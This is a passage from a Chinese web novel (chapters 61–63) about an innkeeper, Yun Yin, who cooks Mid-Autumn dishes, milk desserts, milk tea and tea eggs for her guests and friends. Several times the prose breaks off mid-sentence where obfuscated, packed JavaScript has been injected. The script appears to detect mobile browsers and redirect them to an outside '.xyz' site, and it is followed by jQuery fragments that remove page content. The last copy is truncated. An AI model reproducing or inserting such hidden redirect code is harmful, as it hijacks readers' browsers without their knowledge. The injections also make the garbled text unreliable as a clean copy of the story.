谢彦派来的人给她送了螃蟹，云音看着一筐摆得整整齐齐的螃蟹，挑眉道：“我们养的螃蟹还不能吃，先吃一吃别人家的螃蟹。” 当然夏小娘子也给她送了，照旧送的花卉，可能觉得她这里太过素淡，需要花朵装饰，所以送了她不少花卉，云音看着这花团锦簇，觉得挺好的，可以装饰上，等夏小娘子过来吃饭，能赏玩。 云音自然也有给他们送礼，除了难得的鸡枞菌，她还送了月饼和杨梅酒以及银丝糖和蜜三刀。 这两种点心本是要给夏小娘子做的，她想着傅望中秋之后就要离开，中秋节也要给朋友送些礼物，她就干脆早点做出来。 银丝糖其实就是龙须酥，因为这个时候还没有龙须这种说法，为了避免麻烦，云音还是用了它从前的名字。这糖所用的食材并不复杂，只是需要些技术，首先熬糖，把准备好的饴糖倒入小釜里，中小火加热，倒入一点米醋，使其更容易拉丝成型，炒熟的糯米粉倒入桌案上，熬好稍微冷却的糖弄成圆圈，沾上糯米粉开始拉糖丝。 想要细一些的银丝，只要多拉很多圈便能得到细如发丝的银丝，云音抖一抖拉好的银丝，抖掉上面沾染的多余熟粉，剪断银丝，卷成一团一团，云音用盒子装好这一团团银丝糖，等一会儿安排张林去送礼。 剩下的银丝糖，她则另外装起来，等傅望走的时候送给他。 做完银丝糖，她继续做蜜三刀，这也是油炸类的糕点，想必霍宇应当不会喜欢，不过对于喜欢甜食的人来说，蜜三刀应该是很符合他们的口味。 蜜三刀也需要做水油皮，面粉水和油和成团，放置一旁醒面，酥面则由麦芽糖、由和面粉揉成团，也放到一旁醒发。 水油皮和酥面都擀成长方形，在酥面上沾水后放上水油皮，水油皮包裹住酥面后，翻一个面，继续沾上水撒上芝麻，用擀面杖稍微擀一擀，然后竖着切成大小相等的长方形。 之后就是切三刀，这一步一定要注意，不能切到底，下面的水油皮不能切断，切好的小方块倒入油锅里炸至金黄，然后捞出沥油。 炸蜜三刀油温不能太高，炸完后继续熬糖浆，糖和水用小火熬煮，加入麦芽糖不停搅拌，熬制气泡变小，放入沥干油的蜜三刀浸泡。 等浸泡一段时间后，捞出蜜三刀沥掉多余糖分，晾凉后便能食用，只有浸泡的时间充足，才能做出拉丝的蜜三刀。 云音咬下一口蜜三刀，脆响声刚响起，丝丝缕缕的糖丝从中拉出，麦芽糖的甜是温和的甜味，甜度也不是齁甜，蜜三刀里面浸泡过糖浆，与外表又是不同的触感。 芝麻的香气为这道点心增添不一样的酥香，闲暇时吃一口蜜三刀，配一杯茶，真是绝配。 云音做完这些点心，开始准备今日中秋节的宴席，云音后来又去买了一些橙子，那掌柜送了她一些香橙，与甜橙不同，香橙味道很香，但吃起来非常酸，用来当水果吃肯定不成的，正好谢彦给她送了螃蟹，她打算做个蟹酿橙，中秋吃蟹也很应景。 香橙切去顶部，剜去里面的果肉，放入拆出来的蟹肉蟹黄，然后倒入一勺香橙汁，盖上切掉的顶部，放到装了酒和醋的碗里蒸熟。 蒸熟的蟹肉一点也不腥，单独吃或者蘸醋沾盐吃味道都很鲜美，这道菜最为关键的是要用香橙，而不能用甜橙，甜橙加热后的味道很奇怪，吃起来苦苦的一点都不好吃，但若是用香橙做这道菜，香橙的香气融入蟹肉中， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426495|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而中和了蟹肉的腥味，味道特别鲜美。 云音从厨房出去时，看到傅望正坐在院子里做木工，她静静站在那里驻足观望，半晌才上前道：“你在做狗屋？” 傅望抬头看到云音，点头道：“是啊，我看黑豆在院子里也没个屋子，我便想给他做个屋子，晚上看守时还能有个地方住。” 黑豆蹲在傅望身边，听到他叫自己的名字，嗷嗷叫两声蹭了蹭他。 傅望也摸了摸它头顶道：“它看家也辛苦了，白天要守着牛棚，晚上还要守着客舍，我奖励奖励它。” 云音眼神柔软起来，她浅笑道：“傅望，你真好。我这段时间太忙，都没时间给它做狗屋，还好你想起来了。” 傅望摇头道：“我也是今日看到它在院子里跑来跑去，想起来给它做个屋子，正好之前做家具的木材还有剩下的，给它做个木屋也不费事。” 云音看着他做的木屋感叹道：“你手艺可真好，比我之前随便做的屋子好太多了。”她眨眨眼睛道，“你能再帮我做一个吗？我想把牛棚那里的狗屋也换掉。” 傅望颔首道：“没问题，我把这个做完再帮你做一个。” 云音：“那就多谢你了，你先吃饭吧，吃完再做。” 云音把菜端到大厅，对郑桂兰道：“你去叫一叫程勇他们，还有罗田他们，今日大家一起吃一餐，也算给他们践行。” 郑桂兰应下，跑出去叫人，傅望帮着云音把这些菜端上桌。 自己人吃饭，云音没做那么复杂的菜色，炒黄鳝直接切断煸炒，味道也很鲜美，至于傅望爱吃的鱼也做了，他爱吃甜的，云音干脆做了糖醋鱼。 罗蔓送来的羊肉，云音清炖了一锅，非常鲜美，羊肉也没有什么膻味，不论是肉还是汤都好吃。 云音把蒸好的蟹酿橙端过来，每人面前都有一个，“这蟹酿橙要趁热吃，你们也赶紧尝一尝吧。” 程勇从院子里进来，对众人道：“我刚刚去山里一趟，发现这山里吃的可真多，你们看这是什么？” 云音闻声看去，眉眼上挑道：“你竟然找到了拐枣，我之前进山都没看到。” 程勇哈哈一笑道：“那你肯定没往里面走，这株树长在很里面，我也是走了好久才发现的。” 拐枣学名叫枳椇，因为它长的扭扭曲曲，所以人们常叫它拐枣，霜打后的拐枣味道非常甜，如今才八月中旬，不知道吃起来甜不甜。 “这果子成熟了吗？” 程勇：“肯定是熟了我才摘的，放心吃吧，没有涩味，我已经尝过了。” 云音拿了一个尝了尝，确实不涩，味道挺甜，她问：“这拐枣多么？若是多的话，我也去摘些回来泡酒。” 程勇坐下道：“挺大一棵树的，不过还有很多没成熟，我只是选了一些熟了的，你要拿来泡酒，还是再过一段时间吧。” 冯海没有被二人的话吸引，他被桌上的菜给吸引了，自从他来了云音的客舍，已经被她的厨艺惊艳过许多回，这一次她不过是做得家常菜，看起来也色香味俱全。 61. 第61间客栈 “你们别聊了，赶紧吃饭吧。”程勇看着还冒着热气的蟹酿橙道，“再不吃真的要冷了。” 云音赶紧道：“对，先吃吧，吃完再聊。” 等她说了开动，程勇率先吃一口蟹酿橙，这橙子不仅闻起来香，吃起来也很香，香橙与蟹肉融合的非常好，味道特别鲜，他非常喜欢，只是可惜的是每人只有一个，他还没吃够。 程勇感叹道：“云娘子，不知你怎么会想到把香橙与蟹肉一同做成菜，要知道这香橙平时我们都不吃的，特别酸，富贵人家会拿这种香橙皮当熏香，还真没人会去吃它。” 云音只是笑笑不说话，总不能告诉他这是古人发明的，也不是她想出来的，她会的菜色皆是古人遗留下来的瑰宝，只能说华夏人才济济，流传下来的美食太多，她穷尽一生都学不完，也做不完。 吃完宴席，云音收拾夏小娘子送来的礼物，她之前送的花云音搬到院子里放好，蜀葵也栽到花圃里，这次她又送来紫薇花和百合花，紫色与白色相交织，百合的香气缠绕周身，仿若花中精灵。 她把紫薇花种到厢房前面，百合花则种到后院，前院她已经种了栀子花，百合花还是放到后面，至于茉莉花，她则放在大堂，茉莉花的香味没有那么浓郁，植株也不占地方，放大堂很合适。 摆完所有花卉，云音回房间拿出一副画对傅望道：“这幅画给你，你帮我留意一下，看看能否找到这株植物。” 傅望打开画卷，上面总共画了三幅画，有开花的，白色小花在画上摇曳生姿，还有结果实的，青色和红色各画了一副，果实短圆，一簇一簇生长在一起，非常好看。 “我也不清楚这东西是不是长这个样子，这是根据我记忆力画出来的。”其实并不是根据记忆力画的，这些画都是她照着植物大全里的描述画的，虽然只是简单介绍了一句远古品种，但她还是根据已有的品种大致画出来。 她当年为了学雕刻，特意学过一点基础美术课程，虽然画技一般，但画一个辣椒还是没问题的。 云音看着傅望道：“若是找不到就算了，不用太过费心。” 她虽然很想找到辣椒，可也不知道现在辣椒有没有传入欧洲，她不愿傅望为了此时耗费太多精力，虽然茱萸的味道没那么辣，可还是有辣味的，用来做一些辣味菜还是没问题的，只是到底比不上辣椒来的好用。 傅望把绢布揣进怀里，对云音笑笑：“我会多加注意，你也不必担心，我会多看看的，不会为此影响我的事情，而且西域那边稀奇古怪的东西很多，说不定就能发现。我还有朋友在各个地方，到时候去信一封，让他们帮忙留意，说不定西域没有，其他地方有呢。” 云音眉眼弯弯，对傅望道：“那就多谢了。”她“哎呀”一声，跑到厨房，把装好的食盒提出来递给他，“这个是我给你准备的，你在路上可以吃。” 傅望打开食盒看到的便是丝丝缕缕的点心，他挑眉道：“多谢阿音。” 今日的月亮非常圆，如同夜明珠般悬挂头顶，清亮的月色洒落在他们身上，云音举杯对傅望道：“共饮一杯吧。” 傅望与她四目相对，笑笑拿过一杯米酒，一口喝下，“这酒喝起来太过绵软，还是烧酒酒味更浓郁。” 云音：“我这里没这些酒，只有米酒和果酒，你也知道，醉酒容易误事，米酒和果酒都不醉人，适合那些想喝点酒，又担心喝醉的人。” 傅望：“确实如此，你这里防卫还是太过薄弱，能不卖酒还是不卖酒的好。”他蹙眉沉思片刻后道，“程勇虽然受了些伤，但是武力还算不错，你可以让他帮你守着客舍，至于冯海没多少战斗力，但厨艺还不错，你可以让他帮你。” 云音颔首道：“你放心，我会安排好的，你安心去走镖吧，我在这里等你回来。” 听到云音说等他，他虽然知道她没有开窍，仍然很开心，他笑道：“嗯，我会尽快回来。” 翌日一早，傅望带着罗田几人离开，云音送完他们正要回客栈时，万乐巧从官道上行驶而来，她叫住云音道：“云娘子，好巧，我正好过来给你送牛奶。” 云音上前接过这一桶新鲜的牛奶，笑道：“麻烦万娘子，我现在便去做，对了之前给夏小娘子送的点心她还喜欢吗？” 万乐巧道：“我们娘子很喜欢，特别是那份银丝糖，这次吃完饭，我们小姐要多买些带回去。” “有呢，这点心我做了不少，夏小娘子可以随时来买。” 云音把牛奶拿到厨房，又去拿了几个鸡蛋，拿出干净的小釜，把牛奶倒入釜里熬煮起来，煮开的牛奶倒入准备好的碗中，冷却过程中会形成一层皮，等这层皮形成后，从碗的边缘倒出牛奶，加入打散的蛋清和糖搅拌均匀，倒回有一层牛奶皮的碗中，放入锅里蒸熟。 蒸好的双皮奶上面也有一层皮，等冷却后放到水井里冰镇，夏小娘子过来时，正好能吃冰镇好的。 做完双皮奶，云音便打算做焦糖布丁了，这个做起来也不难，用到的食材仍旧是牛奶、糖和鸡蛋，之前剩下的蛋黄，此时拿来做布丁正好，再打几个鸡蛋，倒入煮开微凉的牛奶，搅拌均匀后过一下筛，做牛奶布丁时，最好不要留下泡沫，否则做出来的布丁便会有气泡。 焦糖也很简单，在锅里倒入糖和水熬煮，不要搅拌，让它自然反应，熬到变成焦糖色，气泡也变小后，焦糖就煮好了，煮好的焦糖倒入碗里，倒入之前的牛奶，放到烤炉里烤一烤，烤盘里要放水，这样才不会烤焦。 烤好的布丁也放到水井里冰镇，等布丁完全冷却下来，倒入盘子里，漂亮的焦糖布丁便做好了，琥珀色的焦糖铺满整个布丁，刚一入口焦糖的微苦充斥整个口腔，但细细回味却又能品尝到一丝甜。布丁奶香十足，滑滑嫩嫩，入口即化，非常软绵。 云音吃完一个竟然觉得没吃够，可惜她没有牛奶，想要买到产奶的牛还真没那么容易，之前她便找人问过，但是没有，也不知夏小娘子都是从哪里来的牛奶，不知道找她买牛奶能不能行，她真的还想再吃这些奶制品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432018|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 吃完焦糖布丁，云音听到郑桂兰招呼夏小娘子的声音，她带着两份点心，去了大堂，夏燕今日穿一身杏色的齐胸上襦，下裙着缠枝纹的石榴红裙子，外穿一件轻纱大袖衫，行走时如云霞流动，像极了下凡的仙子。 她把布丁和双皮奶放到夏燕身前道：“好久不见夏小娘子，多谢你送来的礼物。” 夏燕撑着头道：“哎，天气太热了，我都不愿意出门，这不是看你饭馆开业，来给你捧场，你上次送我的点心可真好吃，我家里人也很喜欢呢。” 云音笑道：“你们喜欢便好，这个你尝尝味道，看看喜不喜欢。” 夏燕用瓷勺舀起一勺焦糖布丁，臂钏在她抬手间叮铃作响，焦糖布丁入口融化，她还没品尝到滋味，这一勺便没了。 她重新舀一勺，慢慢细品，点头道：“味道很好，甜中带着微苦，细滑软绵，非常好入口，想必我祖母会很喜欢这个点心。” 夏燕放下汤勺，好奇看向云音，“云娘子不知是哪里人？师承哪位大厨？做出来的菜好多我都没听闻过。” 云音抿抿嘴道：“师承有很多，说了夏小娘子也不认识，只要你觉得好吃，又何必在意这些，你说是吧。” “云娘子说的也不错，确实没必要深究。” 云音指着那碗双皮奶道：“双皮奶可以吃原味的，也能吃红豆的，夏娘子你可以随意加红豆，我还有一份姜撞奶需要准备，你慢点吃，我先回去了。” 夏燕点点头，让万乐巧也坐下，对她道：“你也尝尝这味道。” 云音回了厨房，姜撞奶也不难做，只需要新鲜的姜汁和热牛奶，加糖煮过的牛奶快速倒入姜汁里，过一会儿牛奶便会凝固，最后撒上一点干桂花，让这碗姜撞奶更加可口美观，云音把姜撞奶端回大堂时，夏燕也已经吃完双皮奶。 她满足叹口气道：“味道可真好吃，我还能再吃一大碗。” 云音把姜撞奶递给她，“你试试这个，有点辣，不知道你能不能接受这个味道。” 夏燕尝了一口，眉头微微蹙起，过一会儿又放松下来，“这姜撞奶别说还挺好吃，虽然味道有点辣，但回味却很甘甜，吃到最后只剩下桂花的香气，真是让人回味无穷。” 云音坐到她身旁问：“今日这几道甜品吃的如何？我现在去给你准备饭菜，还是等等再吃？” 她摸摸肚子道：“这一点甜点也填不饱肚子，不过饭还是一会儿再吃吧，我们聊会儿天。” “我看到云娘子院子摆的花，我送的花还可以吧。” 云音颔首：“夏小娘子送的花很漂亮，栀子花味道特别香，每日开花，整个庭院都能闻到它的芬芳，每天心情都很好呢，真的多谢夏小娘子。” “嗯，这些都是我喜欢的花，我平日没事，喜欢养些花，想着你饭馆光秃秃的也不好看，便送了些给你，你喜欢就好。” 云音感谢完，见她还是对这几道甜点念念不忘，她想想后道：“夏小娘子，不如我们做个交易吧。” 62. 第62间客栈 夏燕抬眸看向她问：“云娘子想与我做什么交易？” “我看你很喜欢我做的牛奶点心，我想与你交换。”云音看着她道，“我教万乐巧做这几样点心，你每日给我送几桶鲜奶如何？你好似很容易弄到新鲜的牛奶，不知这个交易你是否感兴趣？” 夏燕坐直身体道：“我确实很喜欢你做的点心，新鲜的牛奶于我而言也不费多少事情，这样吧，我到时候给你一头产奶的牛，希望云娘子能做出更多好吃的点心。” 云音颔首道：“行，一年后我会把牛还给你们，那万娘子与我去厨房，我教你做这几道点心吧。” 她带着万乐巧回了厨房，夏燕又坐回靠椅，歪头看着院子里迎风招展的栀子花，觉得偶尔来这里吃个饭也不错。 客栈里井井有条，程勇坐在柜台前喝茶，张林带着马浩在前面的饭摊守着，冯海蹲在一筐食材前皱眉，郑桂兰正在打扫厢房，至于方荷仍然在努力练习雕刻。 另一边走在路上的傅望一言不发，时不时叹口气，引得王石头频频张望，他见傅望又一次叹气，追问道：“老大，你这是做什么呢？一直叹什么气啊？” 傅望扫了他一眼，没有说话，坐在马背上看着远处出神，王石头没能得到回应，仰头问：“对了，你之前放在车里的东西是什么？云娘子送你什么好吃的了？” 傅望听到这话也不发呆了，警惕盯着王石头道：“你可别动我的东西，若是被我发现，小心你的皮。” 王石头抖了抖身体，“老大，我不就问问嘛，这是干嘛呢？”见傅望瞪他，他连忙道，“行吧，行吧，我不碰好了吧，真是的，不就是云娘子送你好吃的嘛，当我闻不到吗？我的鼻子可是很灵的。” 他嘀嘀咕咕道：“云娘子送你吃食，竟然也不分我们一点，真是小气。” 傅望一行人带着队伍往西域走去，时间过得很快，他还没到长安，云音送的点心他便吃完了，看着空空如也的食盒，他长长叹口气道：“日后走镖还是交给程勇他们吧。” 客栈里云音从夏小娘子得到正在产奶的牛，每日一大早去挤牛奶，有了这些奶，她每天都会做不少焦糖布丁和双皮奶，霍宇因为很喜欢这几样点心，每天带着儿子一起过来吃她做的菜。 他舀起一勺冰镇过的双皮奶，眼睛眯起来道：“这甜品可真适口，我每日不吃一碗，都觉得今天白活了。” 云音见霍宇喜欢，她笑笑道：“霍老喜欢便好，我最近还打算再做一些其他点心，您有空可以常来。” 霍宇：“我每日都要来你这里吃饭，若是天色太晚，还要在这里留宿，每日在家的时间少之又少，再这样下去，我娘子要生气了。” 云音：“您可以带上你家娘子啊，你都带上你儿子，带上你娘子也可以一家团圆嘛。” 霍宇沉思片刻后道：“也行，我跟她说一说，她就是不愿意动，说是每日都有很多事情忙，不愿意跟我出来，我再与她好好说说，那些事情交给仆人做便是。” 与霍宇说完，云音回到厨房炒制茶叶，自从有了新鲜的牛奶，云音十分想念常喝的奶茶，后来要保持身形，已经许久没喝过，现在当真非常想念。之前碍于牛奶不够，她一直没做，这次有夏小娘子支援的奶牛，她可以做点奶茶喝一喝了。 她春日买的茶叶已经不剩多少了，好在云音在后面的山里发现几棵野茶树，如今还能采摘一些茶叶，她正好拿来炒制一些。 大昭市面上卖的茶叶都是蒸的，或许也与不常用铁锅的缘故有关，她没看到有人用炒的茶叶，云音自己喝的茶都是之前炒的，现在所剩也不多，趁着今日天气好，她正好来炒一点茶，拿来做奶茶。 八月的茶叶是比不上清明前后的茶叶的，不过用来做奶茶也不必在乎茶叶的好坏，取其中茶的味道足以，炒茶的铁锅一定要没有任何油烟，为了炒茶，云音还专门又买了一个铁锅，幸好之前卖月饼把欠的钱还清，现在也不用为再买一个锅心疼。 铁锅温度上来后，把晾干水分的茶叶倒入锅里，双手翻滚茶叶进行杀青，颜色变得深绿，叶片卷曲时第一步便算完成，放到簸箕里摊凉后揉捻，云音正在厨房揉捻茶叶，霍宇闻到一股清香，从大堂跑出来问：“云娘子，什么东西，这么香？” 云音：“我在制茶，所以会有清香味。” 霍宇站在院子里，透过窗户看到云音的动作，好奇道：“云娘子在蒸茶？怎么看着不太像？” 云音笑笑道：“并不是，我这是炒茶，与您平日喝的茶叶不同。” 她揉捻完茶叶，继续放到锅里翻炒，小火慢慢炒着，随着她炒制，茶叶的香气越来越浓郁，霍宇站在院子里嗅着这股香气，陶醉其中，他道：“云娘子有炒制的茶叶吗？我想尝尝是什么味道。” 云音叫来郑桂兰，“你去给霍老泡一杯茶叶，你知道怎么泡吧。” 郑桂兰点头道：“放心吧，云娘子，我之前见你泡过，我懂怎么泡。” 她转身回了库房，将泡茶的工具拿出来，又从柜台后面的架子上取下茶叶，走到院子里，把茶具放到石桌上，邀请霍宇坐下道：“霍老您坐，我来给您泡茶。” 霍宇坐在石凳上，郑桂兰动作迅速放好茶炉，倒入泉水煮沸，煮沸的水倒入茶杯，跟霍宇解释道：“这叫温器，之后进行润茶，然后泡茶，再分茶。” 她把泡过茶叶的水倒入水盂中，再次倒入沸水，泡好的茶倒出，分给霍宇，请他品茶，“霍老尝尝这茶叶，是否是您喜欢的口感，之前云娘子邀请人品尝，除了傅郎君，其他人好似都不怎么喜欢。” 霍宇端起茶杯轻轻抿了一口，茶香浓郁，喝到嘴里微苦，细细品尝却又能尝到一丝甘甜，与他平日喝的煮茶味道截然不同，煮茶时会加入盐和调料进行调味，跟喝粥似的，而云娘子的这杯茶，因为没有碾碎茶叶，只取其中微苦，反倒比煮茶多了回甘。 他慢慢品尝，时不时点头道：“挺好喝的，我挺喜欢，这炒茶喝起来挺不错的。”他看向还在厨房炒制茶叶的云音道，“云娘子，这茶叶能卖我一些吗？” 云音把炒好的茶叶装起来，从厨房出来道：“我这茶叶都是些野茶叶，霍老喜欢我送你一些便是，不值什么钱，您喜欢我便很高兴了。” 她把之前剩下的茶叶包好送给霍老，对旁边一脸苦色的霍辰道：“霍郎君不喜欢这个味道，正好我做了奶茶，你可以尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436458|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝，应该会喜欢。” 云音让他们稍微坐一会儿，她回了厨房，把刚刚炒好的茶叶放入大碗里，倒入稍微冷却的热水，泡好的茶水倒出，加入一些糖进行搅拌，最后加入热牛奶，这就是奶绿。 她没有发酵茶叶，所以没有红茶，只能用绿茶来做奶茶，不过绿茶的口感也很清爽，云音把做好的奶茶拿出去递给他们道：“你们尝一尝。” 霍辰端起茶碗喝了一口，香甜的口感瞬间将他征服，他止不住点头道：“云娘子，这个好喝，香香甜甜，一点茶的苦味也没有，实在太好喝了。” 霍宇喝了一口也点头道：“确实还不错，比煮出来的茶更让我喜欢，果然还是甜口的比咸口的好喝。” 云音笑道：“嗯，我也很喜欢，不过今日准备不足，等我做一些珍珠放到奶茶里面味道会更好，若是你们明日有空，可以过来尝尝。” 霍辰颔首道：“我明日把我娘子带来，她肯定喜欢这奶茶。” “不如霍老带一份回去给您娘子，若是她喜欢，想必会随你前来。”云音说完用竹筒装了满满一大杯奶茶，递给他道，“偶尔出来郊游也是不错的。” 等霍宇他们走后，云音回到厨房制作珍珠，一般珍珠是用木薯粉制作的，但她没有木薯粉，用糯米粉替代，糯米粉虽然不如木薯粉有嚼劲，但还是很软糯的，跟吃汤圆是一样的口感，只是里面没有馅料而已，小汤圆便是用糯米粉直接搓的。 此时木薯跟土豆一样还在美洲安静生长着，若是傅望能找到辣椒，说不定也能找到这两种食物。 云音用红糖水加糯米粉做成平替珍珠，加入奶茶尝了尝，发现过于黏糊，容易粘在容器上，她看着失败的珍珠，略微沉思，往糯米粉中加入适量澄粉，这次煮出来的珍珠比之前变得有嚼劲，也没那么粘稠，她倒入奶茶里，尝了尝，虽然还是比不上木薯粉做的珍珠，但也不差什么了。 除了奶茶，又怎么能少了水果茶，之前她竟然忘记它，今日想起来，自然也要做一些水果茶尝一尝。 之前买的橙子已经用完了，她最近又买了一些，田里还有一些西瓜没摘，她打算用这两种水果做水果茶。 倒入炒好的茶叶和茉莉花，加入热水泡出茶水，放到井水里冷却，切好的水果放入碗中捣出果汁，倒入冷却的茶水，加入糖浆水搅拌，云音尝了一口，酸酸甜甜，还算不错。 若是有冰块味道会更加好喝，罗蔓之前送她的冰块，她已经用完了，市面上的冰块实在太贵，她没买，准备等今年冬天多储存些冰块，她的冰窖早已经等着了。 幸好云音客栈附近又是山，又是水，树木也多，虽然也很热，但还是能忍受，如今又已经立秋，比起三伏天时，凉快许多。 云音拿着水果茶和奶茶走到柜台前，“程郎君，你也喝一杯吧，你想喝哪种？” 程勇看着两杯饮品，接过奶茶道：“我喝这个吧。”他尝了一口眉头微微挑起，“怪不得之前傅望一直不愿意走，想必在这里的两个月，吃了不少云娘子做的美食吧。” 云音笑道：“傅望也帮我许多，那些家具都是他做的呢。” 程勇道：“他也只有这点能耐了。” 63. 第63间客栈 云音并不赞同程勇的话，“傅望还是有很多优点的。” 程勇笑眯眯道：“哦，是吗？”他一脸看戏的模样，想要听到更多她的看法，但云音说完便不说了，直接往厨房走，“我去做茶叶蛋，你先喝奶茶吧。” 最近来云音饭馆卖鸡蛋的人特别多，这时候的鸡蛋都是土鸡蛋，味道特别香，只要来卖鸡蛋她都买了，库房里放着挺多鸡蛋的，她打算除了做点茶叶蛋和腌蛋，皮蛋也打算做一点。 鸡蛋洗干净，放到通风处晾干水分，腌鸡蛋的坛子也洗干净晾干，腌鸡蛋的做法与之前做鸭蛋类似，同样用盐和泥和成泥浆，把晾干的鸡蛋放进去裹一层泥，放到坛子里腌制。 之前她都是做的咸鸭蛋，但龙安县养鸭子的人不如养鸡的人多，她之前存的咸鸭蛋也快见底，是时候换成鸡蛋了。 皮蛋用鸡蛋也能做，她从灶台里拨出草木灰，又烧了一点荞麦秸秆灰和柏枝灰，放到盆里备用，之前炒出来的茶叶有些碎茶，煮成茶汤，倒入草木灰盆里，再倒入煮沸的盐水，和成泥后把鸡蛋放到里面裹上泥，最后再裹一层稻壳，放到坛子里然后用黄泥封坛。 云音一下午时间都在腌制这些鸡蛋，装坛的鸡蛋放到库房，她洗了洗手去做茶叶蛋。 冷水放入洗干净的鸡蛋，倒入一点点盐让鸡蛋壳没那么容易碎，煮一会儿让蛋白凝固后捞出过冷水，然后用勺子敲一敲蛋壳，让鸡蛋壳成网状裂开。 云音把敲好的鸡蛋装到盆里，回到灶台煮料汁，水里放入八角桂皮和花椒，然后把茶叶放进去，大火煮开后转小火，倒入酱油盐和糖调味，把鸡蛋放入锅里小火焖煮，煮好的鸡蛋放到一旁浸泡入味，明日一早起来便能吃到美味的茶叶蛋。 她把茶叶蛋放到橱柜里，锁上柜子，正好看到从外面进来的冯海，她问：“冯哥你擅长做什么菜？” 冯海叹气道：“我只会点家常菜，与云娘子你比差太远了。” “你也不要这样妄自菲薄，今日晚食你来负责如何？我想试试你做的菜。” 冯海颔首道：“没问题，那晚上就让你尝尝我的手艺。” 云音把厨房让给冯海，到一旁给他打下手，也看看他是怎么做菜的。 冯海先取了面粉，倒入盆里开始和面，他和面很有劲，和出来的面也很筋道，云音还以为他要做面条，没想到他去蔬菜篮子里挑选了点蔬菜，然后切丝腌渍，用面团包裹蔬菜。 云音这下看明白了，原来是要烙蔬菜饼，他包好饼子，放到一旁醒着，去水井里取来一块羊肉，三两下剁成块，放到水里煮起来。 她在一旁根本帮不上忙，只能帮忙看看火，看他动作迅速煮好羊肉，又蒸了一碗茄子，烫了一份豇豆，最后煮上一锅冬瓜汤，就算完事了。 虽然他做菜的种类并不多，但分量都特别实在，云音拿起筷子夹了一块茄子蘸酱尝了尝，味道还不错，酱的把握很到位，里面蒜香和酱融合，茄子蒸软后蘸上这酱，特别下饭。 至于羊肉更不用说了，羊肉清炖也很好吃，煮的软烂后，蘸上冯海调的姜汁，与清炖的味道又不同。 程勇看着桌上放着的菜，奇怪道：“怎么这菜像冯海的手艺。” 冯海拿着一块饼子吃了一口，“就是我做的，怎么，你不想吃？” “好不容易换换口味，我还不想再吃你做的。”程勇认命拿起一个饼子，使劲咬一口，嚼了嚼道，“还是以前那味道，你就不能把饼子做的软和一些吗？对我这样的病患实在不是个好体验。” 云音也尝了尝烙饼，确实比较有嚼劲，这只是他揉面的时间比较长，所以比起一般面点更有嚼劲一些，她还挺喜欢这个口感的，若是做馒头想必也会很有嚼劲。 里面的蔬菜搭配的也很适合，特别是里面的酸菜咬一下口齿生津，配上面饼的麦香，特别好吃，云音称赞道：“冯哥的烙饼做的真好吃。” “你吃久了，就不会这样觉得了。”程勇一脸生无可恋的模样道，“云娘子，你不会以后都让老程给我们做饭吧。” 云音笑道：“哪有，我只是想看看冯哥的手艺如何，之后我想让他也负责一部分客人点的菜，当然，我会另外付工钱的。” 程勇看冯海一眼，对云音道：“行，我替他答应了。” 云音笑着看向冯海，“冯哥，你觉得如何？” 冯海把烙饼吃完，喝一口水后道：“我没问题，不过你做的一些菜我都不会，怎么帮你？” 听到他答应，云音也松了口气道：“家常菜的做法都很简单，你看我做一遍便能学会，只不过是稍微注意火候的把握，以及调味的比例，冯哥是做惯菜的人，这一点应当也能很快掌握。” “你要教我做菜？”冯海慎重点头道，“那我不能要你工钱，这可是能传家的本事。” 云音摇头道：“真不是什么特别的做法，冯哥不必在意，工钱是你应得的，不必与我推脱。” 其实云音并不拒绝传授这些做菜的方法，但她察觉这个时代的人好像很在意这一点，不论是之前的夏燕，还是如今的冯海都是一样的态度，她也不好太过特立独行。 或许她也可以跟之前一样，用这些做菜的方法换些她用得上的东西，这样既能把美食传播出去，她也能得到一些实惠。 清晨，太阳从山那头仰起头时，云音从厨房拿出昨日做好的茶叶蛋摆在大堂，她端上一碗粥，喝着热粥吃着茶叶蛋，想到之前腌制的香椿，连忙用盘子装了一点放到桌上。 程勇进来时便看见桌上摆的粥和鸡蛋，他也坐下盛一碗道：“这小米粥看起来很香啊。”他喝一口粥配上一筷子香椿，“没想到这香椿腌制后配粥这么好吃。” 云音见程勇也喜欢吃香椿，她笑笑道：“用来拌面也很香的。”她说着余光看到郑桂兰和方荷，招呼她们道，“过来吃早食。” 她们母女二人也一人盛了一碗粥，吃着茶香四溢的茶叶蛋，吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 